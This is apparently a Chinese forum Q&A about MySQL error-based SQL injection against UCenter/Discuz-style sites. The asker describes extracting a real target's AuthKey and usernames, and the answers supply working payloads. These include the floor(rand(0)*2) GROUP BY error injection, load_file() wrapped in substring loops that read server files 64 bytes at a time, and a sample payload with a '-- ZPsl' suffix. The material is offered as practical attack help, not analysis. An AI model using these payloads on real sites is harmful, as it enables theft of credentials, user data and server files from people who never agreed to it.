Mysql报错注入的4个问题-字节数-乱码,load_fie-

问题:
No.1:Mysql报错注入最多能够显示多少字节呢?Inject到的UC的AuthKey爆出62位一共应该64位

No.2:爆出的用户名中文和特殊符号显示乱码,用Hex()转换了下爆出来再转回去的时候依然乱码,怎么解决?你国内很多人爱用各种怪异的符号做用户名,严重影响进度。

No.3:能否用报错注入Load_File(),失败成功语句如下:
and (select 1 from(select count(*),concat((select (select load_file(0x.........)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

答案:
1. 64 位,但是许多报错注入都会在前后加上特别符号,以方便分辨,如[],就变成62位了,可以使用substring来处理

2. 如图:


3. 同样使用substring 以64为1单位慢慢读, 最好就是写个循环来读:
        
  1. Select concat ( substring ( load_file ( 0x ....), 1 , 64 )) FROM uc_applications limit 0 , 1
  2. Select concat ( substring ( load_file ( 0x ....), 65 , 64 )) FROM uc_applications limit 0 , 1
  3. Select concat ( substring ( load_file ( 0x ....), 129 , 64 )) FROM uc_applications limit 0 , 1
4.
报错注入加上后面字符:-- ZPsl 正常是不需要,有些情况可能需要
 1) AND (SELECT 3094 FROM(SELECT COUNT(*),CONCAT(0x7e,(SELECT md5(1)),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ZPsl